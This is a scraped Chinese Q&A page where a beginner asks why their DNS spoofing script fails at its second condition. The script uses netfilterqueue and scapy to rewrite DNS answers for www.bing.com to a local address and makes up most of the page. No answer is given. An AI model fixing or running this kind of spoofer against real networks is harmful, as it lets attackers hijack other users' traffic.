DNS欺骗者,我无法通过特定点

我正在运行此代码,看来它甚至没有通过第二个if语句。有人可以帮忙吗?如果有人可以帮忙,那将是非常感激的,因为我对这种东西还很陌生。

import netfilterqueue
import scapy.all as scapy


def process_packet(packet):
    scapy_packet = scapy.IP(packet.get_payload())
    if scapy_packet.haslayer(scapy.DNSRR):
        qname = scapy_packet[scapy.DNSQR].qname
        if 'www.bing.com' in qname:
            print('[+] Spoofing Target...')
            answer = scapy.DNSRR(rrname=qname,rdata='10.0.2.8')
            scapy_packet[scapy.DNS].an = answer
            scapy_packet[scapy.DNS].ancount = 1

            del scapy_packet[scapy.IP].chksum
            del scapy_packet[scapy.IP].len
            del scapy_packet[scapy.UDP].len
            del scapy_packet[scapy.UDP].chksum

            packet.set_payload(str(scapy_packet))

    packet.accept()


queue = netfilterqueue.NetfilterQueue()
queue.bind(0,process_packet)
queue.run()
iCMS 回答:DNS欺骗者,我无法通过特定点

暂时没有好的解决方案,如果你有好的解决方案,请发邮件至:iooj@foxmail.com
本文链接:https://www.f2er.com/2248776.html

大家都在问